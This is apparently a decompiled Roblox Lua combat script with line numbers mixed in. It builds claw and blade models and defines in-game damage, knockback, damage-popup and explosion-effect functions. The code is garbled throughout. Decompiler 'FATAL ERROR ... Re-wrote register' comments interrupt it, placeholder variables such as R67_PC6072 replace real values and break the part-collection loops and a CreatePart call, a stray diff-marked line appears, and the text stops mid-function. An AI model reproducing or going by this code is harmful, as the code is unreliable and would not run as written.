Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
857
ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
858
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
859
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
860
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
861
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
862
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
863
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
864
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
865
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
866
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
867
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
868
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
869
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
870
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
871
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
872
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
873
MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
874
MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
875
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
876
ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
877
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
878
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
879
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
880
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
881
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
882
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
883
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
884
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
885
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
886
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
887
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
888
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
889
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
890
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
891
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
892
MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
893
MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
894
local CBlade = {}
895
local CBladeWelds = {}
896
for _,c in pairs(m:children()) do
897
  if c.className == "Part" then
898
    table.insert(CBlade, R67_PC6072)
899
  end
900
end
901
for _,c in pairs(m:children()) do
902
  if c.className == "Weld" then
903
    table.insert(CBladeWelds, R67_PC6072)
904
    print(R66_PC6093)
905
  end
906
end
907
-- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
908
909
-- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
910
911
--Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
912
-- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
913
914
-- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
915
916
HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
917
CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
918
FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
919
FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
920
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
921
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
922
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
923
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
924
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
925
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
926
TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
927
TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
928
CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
929
local DBlade = {}
930
local DBladeWelds = {}
931
for _,c in pairs(demon:children()) do
932
  if c.className == "Part" then
933
    table.insert(DBlade, c)
934
  end
935
end
936
for _,c in pairs(demon:children()) do
937
  if c.className == "Weld" then
938
    table.insert(DBladeWelds, c)
939
    print(c)
940
  end
941
end
942
demon.Parent = nil
943
944
paly = game.Players.LocalPlayer
945
char = paly.Character
946
torso = char.Torso
947
neck = char.Torso.Neck
948
hum = char.Humanoid
949
Player = game:GetService("Players").LocalPlayer
950
local mouse = Player:GetMouse()
951
Character = Player.Character
952
tors = Character.Torso
953
lleg = Character["Left Leg"]
954
root = Character.HumanoidRootPart
955
hed = Character.Head
956
rleg = Character["Right Leg"]
957
rarm = Character["Right Arm"]
958
larm = Character["Left Arm"]
959
local Effects = {}
960
attack = false
961
vt = Vector3.new
962
bc = BrickColor.new
963
br = BrickColor.random
964
it = Instance.new
965
cf = CFrame.new
966
euler = CFrame.fromEulerAnglesXYZ
967
angles = CFrame.Angles
968
matr = math.random
969
local basiccooldown = math.huge
970
local ultcooldown = math.huge
971
local secondcooldown = math.huge
972
local thirdcooldown = math.huge
973
974
local boll = Instance.new("Part",game.Lighting)
975
boll.Transparency = 0.5
976
boll.Material = "Neon"
977
boll.BrickColor = tors.BrickColor
978
boll.Anchored = true
979
boll.Size = vt(1,1,1)
980
boll.Shape = "Ball"
981
boll.CanCollide = false
982
983
local shur = Instance.new("Part",game.Lighting)
984
shur.Transparency = 0
985
shur.Material = "Neon"
986
shur.BrickColor = tors.BrickColor
987
shur.Anchored = true
988
shur.Size = vt(5,0.2,5)
989
shur.CanCollide = false
990
local Meshshur = Instance.new("CylinderMesh",shur)
991
992
993
local boll = Instance.new("Part",game.Lighting)
994
boll.Transparency = 0.5
995
boll.Material = "Neon"
996
boll.BrickColor = bc("Bright red")
997
boll.Anchored = true
998
boll.Size = vt(1,1,1)
999
boll.Shape = "Ball"
1000
boll.CanCollide = false
1001
1002
local shur = Instance.new("Part",game.Lighting)
1003
shur.Transparency = 0
1004
shur.Material = "Neon"
1005
shur.BrickColor = bc("Bright red")
1006
shur.Anchored = true
1007
shur.Size = vt(5,0.2,5)
1008
shur.CanCollide = false
1009
local Meshshur = Instance.new("CylinderMesh",shur)
1010
1011
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
1012
        if hit.Parent==nil then
1013
                return
1014
        end
1015
        h=hit.Parent:FindFirstChild("Humanoid")
1016
        for _,v in pairs(hit.Parent:children()) do
1017
        if v:IsA("Humanoid") then
1018
        h=v
1019
        end
1020
        end
1021
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
1022
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
1023
        end
1024
        if hit.Parent.className=="Hat" then
1025
        hit=hit.Parent.Parent:findFirstChild("Head")
1026
        end
1027
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
1028
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
1029
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
1030
                        return
1031
                end]]
1032
--                        hs(hit,1.2) 
1033
                        c=Instance.new("ObjectValue")
1034
                        c.Name="creator"
1035
                        c.Value=game:service("Players").LocalPlayer
1036
                        c.Parent=h
1037
                        game:GetService("Debris"):AddItem(c,.5)
1038
                Damage=math.random(minim,maxim)
1039
--                h:TakeDamage(Damage)
1040
                blocked=false
1041
                block=hit.Parent:findFirstChild("Block")
1042
                if block~=nil then
1043
                print(block.className)
1044
                if block.className=="NumberValue" then
1045
                if block.Value>0 then
1046
                blocked=true
1047
                if decreaseblock==nil then
1048
                block.Value=block.Value-1
1049
                end
1050
                end
1051
                end
1052
                if block.className=="IntValue" then
1053
                if block.Value>0 then
1054
                blocked=true
1055
                if decreaseblock~=nil then
1056
                block.Value=block.Value-1
1057
                end
1058
                end
1059
                end
1060-
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
1060+
1061
                if blocked==false then
1062
--                h:TakeDamage(Damage)
1063
                h.Health=h.Health-Damage
1064
                showDamage(hit.Parent,Damage,.5,TorsoColor)
1065
                else
1066
                h.Health=h.Health-(Damage/2)
1067
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("New Yeller"))
1068
                end
1069
                if Type=="Knockdown" then
1070
                hum=hit.Parent.Humanoid
1071
hum.PlatformStand=true
1072
coroutine.resume(coroutine.create(function(HHumanoid)
1073
swait(1)
1074
HHumanoid.PlatformStand=false
1075
end),hum)
1076
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
1077
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
1078
local bodvol=Instance.new("BodyVelocity")
1079
bodvol.velocity=angle*knockback
1080
bodvol.P=5000
1081
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
1082
bodvol.Parent=hit
1083
rl=Instance.new("BodyAngularVelocity")
1084
rl.P=3000
1085
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1086
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
1087
rl.Parent=hit
1088
game:GetService("Debris"):AddItem(bodvol,.5)
1089
game:GetService("Debris"):AddItem(rl,.5)
1090
                elseif Type=="Normal" then
1091
                vp=Instance.new("BodyVelocity")
1092
                vp.P=500
1093
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
1094
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
1095
                if KnockbackType==1 then
1096
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
1097
                elseif KnockbackType==2 then
1098
                vp.velocity=Property.CFrame.lookVector*knockback
1099
                end
1100
                if knockback>0 then
1101
                        vp.Parent=hit.Parent.Torso
1102
                end
1103
                game:GetService("Debris"):AddItem(vp,.5)
1104
                elseif Type=="Up" then
1105
                local bodyVelocity=Instance.new("BodyVelocity")
1106
                bodyVelocity.velocity=vt(0,10,0)
1107
                bodyVelocity.P=1000
1108
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
1109
                bodyVelocity.Parent=hit
1110
                game:GetService("Debris"):AddItem(bodyVelocity,1)
1111
                rl=Instance.new("BodyAngularVelocity")
1112
                rl.P=3000
1113
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1114
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
1115
                rl.Parent=hit
1116
                game:GetService("Debris"):AddItem(rl,.5)
1117
                elseif Type=="Snare" then
1118
                bp=Instance.new("BodyPosition")
1119
                bp.P=2000
1120
                bp.D=100
1121
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1122
                bp.position=hit.Parent.Torso.Position
1123
                bp.Parent=hit.Parent.Torso
1124
                game:GetService("Debris"):AddItem(bp,1)
1125
                elseif Type=="Target" then
1126
                if Targetting==false then
1127
                ZTarget=hit.Parent.Torso
1128
                coroutine.resume(coroutine.create(function(Part) 
1129
                swait(5)
1130
                end),ZTarget)
1131
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
1132
                targetgui=Instance.new("BillboardGui")
1133
                targetgui.Parent=ZTarget
1134
                targetgui.Size=UDim2.new(10,100,10,100)
1135
                targ=Instance.new("ImageLabel")
1136
                targ.Parent=targetgui
1137
                targ.BackgroundTransparency=1
1138
                targ.Image="rbxassetid://4834067"
1139
                targ.Size=UDim2.new(1,0,1,0)
1140
                cam.CameraType="Scriptable"
1141
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1142
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1143
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1144
                Targetting=true
1145
                RocketTarget=ZTarget
1146
                for i=1,Property do
1147
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
1148
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
1149
                swait()
1150
                end
1151
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
1152
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1153
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1154
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
1155
                end
1156
                Targetting=false
1157
                RocketTarget=nil
1158
                targetgui.Parent=nil
1159
                cam.CameraType="Custom"
1160
                end
1161
                end
1162
                        debounce=Instance.new("BoolValue")
1163
                        debounce.Name="DebounceHit"
1164
                        debounce.Parent=hit.Parent
1165
                        debounce.Value=true
1166
                        game:GetService("Debris"):AddItem(debounce,Delay)
1167
                        c=Instance.new("ObjectValue")
1168
                        c.Name="creator"
1169
                        c.Value=Player
1170
                        c.Parent=h
1171
                        game:GetService("Debris"):AddItem(c,.5)
1172
                CRIT=false
1173
                hitDeb=true
1174
                AttackPos=6
1175
        end
1176
end
1177
 
1178
showDamage=function(Char,Dealt,du,Color)
1179
        m=Instance.new("Model")
1180
        m.Name=tostring(Dealt)
1181
        h=Instance.new("Humanoid")
1182
        h.Health=0
1183
        h.MaxHealth=0
1184
        h.Parent=m
1185
        c=Instance.new("Part")
1186
        c.Transparency=0
1187
        c.Material = "Neon"
1188
        c.BrickColor=bc("New Yeller")
1189
        c.Name="Head"
1190
        c.TopSurface=0
1191
        c.BottomSurface=0
1192
  local tick = Instance.new("Sound",c)
1193
  tick.SoundId = "rbxassetid://12221976"
1194
  tick.Volume = 5
1195
  tick.Pitch = 4
1196
  tick:Play()
1197
        c.formFactor="Plate"
1198
        c.Size=Vector3.new(1,.4,1)
1199
        ms=Instance.new("CylinderMesh")
1200
        ms.Scale=Vector3.new(.8,.8,.8)
1201
        if CRIT==true then
1202
                ms.Scale=Vector3.new(1,1.25,1)
1203
        end
1204
        ms.Parent=c
1205
        c.Reflectance=0
1206
        Instance.new("BodyGyro").Parent=c
1207
        c.Parent=m
1208
        if Char:findFirstChild("Head")~=nil then
1209
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
1210
        elseif Char.Parent:findFirstChild("Head")~=nil then
1211
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
1212
        end
1213
        f=Instance.new("BodyPosition")
1214
        f.P=2000
1215
        f.D=100
1216
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1217
        f.position=c.Position+Vector3.new(0,3,0)
1218
        f.Parent=c
1219
        game:GetService("Debris"):AddItem(m,.5+du)
1220
        c.CanCollide=false
1221
        m.Parent=workspace
1222
        c.CanCollide=false
1223
p:Destroy()
1224
end
1225
1226
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
1227
	for _, c in pairs(workspace:children()) do
1228
		local hum = c:findFirstChild("Humanoid")
1229
		if hum ~= nil then
1230
			local head = c:findFirstChild("Torso")
1231
			if head ~= nil then
1232
				local targ = head.Position - Part.Position
1233
				local mag = targ.magnitude
1234
				if mag <= magni and c.Name ~= Player.Name then 
1235
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
1236
				end
1237
			end
1238
		end
1239
	end
1240
end
1241
1242
function Explode(rad,par)
1243
	local expart = Instance.new("Part",script.Parent)
1244
	local expart2 = Instance.new("Part",script.Parent)
1245
	local partMesh = Instance.new("SpecialMesh",expart)
1246
	partMesh.MeshType = "Sphere"
1247
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1248
	partMesh2.MeshType = "Sphere"
1249
	local expld = Instance.new("Explosion", script.Parent)
1250
local plode = Instance.new("Sound",expart)
1251
  plode.SoundId = "rbxassetid://165970126"
1252
  plode.Volume = 1
1253
  plode.Pitch = 1
1254
  plode.Looped = false
1255
  plode:Play()
1256
	expld.BlastRadius = rad
1257
	expld.Position = par.Position
1258
	partMesh.Scale = vt(rad,rad,rad)
1259
	expart.Size = vt(1,1,1)*1.5
1260
	expart.Transparency = 0
1261
	expart.Anchored = true
1262
	expart.Material = "Neon"
1263
	expart.BrickColor = bc("Red")
1264
	expart.CFrame = par.CFrame
1265
	partMesh2.Scale = vt(rad,rad,rad)
1266
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1267
	expart2.Transparency = 0.5
1268
	expart2.Anchored = true
1269
	expart2.Material = "Neon"
1270
	expart2.BrickColor = bc("New Yeller")
1271
	expart2.CFrame = par.CFrame
1272
        local value = 1*rad/6.5
1273
        par:Destroy()
1274
	for i = 0, 100 do
1275
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1276
		expart.CFrame = expart.CFrame
1277
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1278
		expart2.CFrame = expart.CFrame
1279
                value = value - 0.035*rad/6.5
1280
                if value < 1 then
1281
                value = 0.25
1282
		expart.Transparency = expart.Transparency + 0.025
1283
		expart2.Transparency = expart2.Transparency + 0.025
1284
                end
1285
		wait()
1286
	end
1287
  plode.Parent = nil
1288
	expart.Parent = nil
1289
	expart2.Parent = nil
1290
	expld.Parent = nil
1291
end
1292
1293
function ExplodeMass(rad,par)
1294
	local expart = Instance.new("Part",script.Parent)
1295
	local expart2 = Instance.new("Part",script.Parent)
1296
	local partMesh = Instance.new("SpecialMesh",expart)
1297
	partMesh.MeshType = "Sphere"
1298
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1299
	partMesh2.MeshType = "Sphere"
1300
	local expld = Instance.new("Explosion", script.Parent)
1301
local plode = Instance.new("Sound",workspace)
1302
  plode.SoundId = "rbxassetid://579687077"
1303
  plode.Volume = 1
1304
  plode.Pitch = 0.85
1305
  plode.Looped = false
1306
  plode:Play()
1307
local plodez = Instance.new("Sound",workspace)
1308
  plodez.SoundId = "rbxassetid://288641686"
1309
  plodez.Volume = 1
1310
  plodez.Pitch = 0.75
1311
  plodez.Looped = false
1312
  plodez:Play()
1313
local plodeza = Instance.new("Sound",workspace)
1314
  plodeza.SoundId = "rbxassetid://197161452"
1315
  plodeza.Volume = 0.85
1316
  plodeza.Pitch = 0.65
1317
  plodeza.Looped = false
1318
  plodeza:Play()
1319
local plodezar = Instance.new("Sound",workspace)
1320
  plodezar.SoundId = "rbxassetid://197161452"
1321
  plodezar.Volume = 0.85
1322
  plodezar.Pitch = 0.25
1323
  plodezar.Looped = false
1324
  plodezar:Play()
1325
	expld.BlastRadius = rad
1326
	expld.Position = par.Position
1327
wait(0.5)
1328
        par:Destroy()
1329
  plode.Parent = nil
1330
	expart.Parent = nil
1331
	expart2.Parent = nil
1332
	expld.Parent = nil
1333
end
1334
function ExplodeMassen(rad,par)
1335
	local expart = Instance.new("Part",script.Parent)
1336
	local expart2 = Instance.new("Part",script.Parent)
1337
	local partMesh = Instance.new("SpecialMesh",expart)
1338
	partMesh.MeshType = "Sphere"
1339
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1340
	partMesh2.MeshType = "Sphere"
1341
	local expld = Instance.new("Explosion", script.Parent)
1342
local plode = Instance.new("Sound",workspace)
1343
  plode.SoundId = "rbxassetid://579687077"
1344
  plode.Volume = 1
1345
  plode.Pitch = 0.85
1346
  plode.Looped = false
1347
  plode:Play()
1348
local plodez = Instance.new("Sound",workspace)
1349
  plodez.SoundId = "rbxassetid://288641686"
1350
  plodez.Volume = 1
1351
  plodez.Pitch = 0.75
1352
  plodez.Looped = false
1353
  plodez:Play()
1354
local plodeza = Instance.new("Sound",workspace)
1355
  plodeza.SoundId = "rbxassetid://197161452"
1356
  plodeza.Volume = 0.85
1357
  plodeza.Pitch = 0.65
1358
  plodeza.Looped = false
1359
  plodeza:Play()
1360
local plodezar = Instance.new("Sound",workspace)
1361
  plodezar.SoundId = "rbxassetid://197161452"
1362
  plodezar.Volume = 0.85
1363
  plodezar.Pitch = 0.25
1364
  plodezar.Looped = false
1365
  plodezar:Play()
1366
	expld.BlastRadius = rad
1367
	expld.Position = par.Position
1368
	partMesh.Scale = vt(rad,rad,rad)
1369
	expart.Size = vt(1,1,1)*1.5
1370
	expart.Transparency = 0
1371
	expart.Anchored = true
1372
	expart.Material = "Neon"
1373
	expart.BrickColor = bc("Red")
1374
	expart.CFrame = par.CFrame
1375
	partMesh2.Scale = vt(rad,rad,rad)
1376
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1377
	expart2.Transparency = 0.5
1378
	expart2.Anchored = true
1379
	expart2.Material = "Neon"
1380
	expart2.BrickColor = tors.BrickColor
1381
	expart2.CFrame = par.CFrame
1382
        local value = 1*rad/10
1383
        par:Destroy()
1384
	for i = 0, 300 do
1385
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1386
		expart.CFrame = expart.CFrame
1387
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1388
		expart2.CFrame = expart.CFrame
1389
                value = value - 0.0175*rad/10
1390
                if value <= 0 then
1391
		expart.Transparency = expart.Transparency + 0.0125
1392
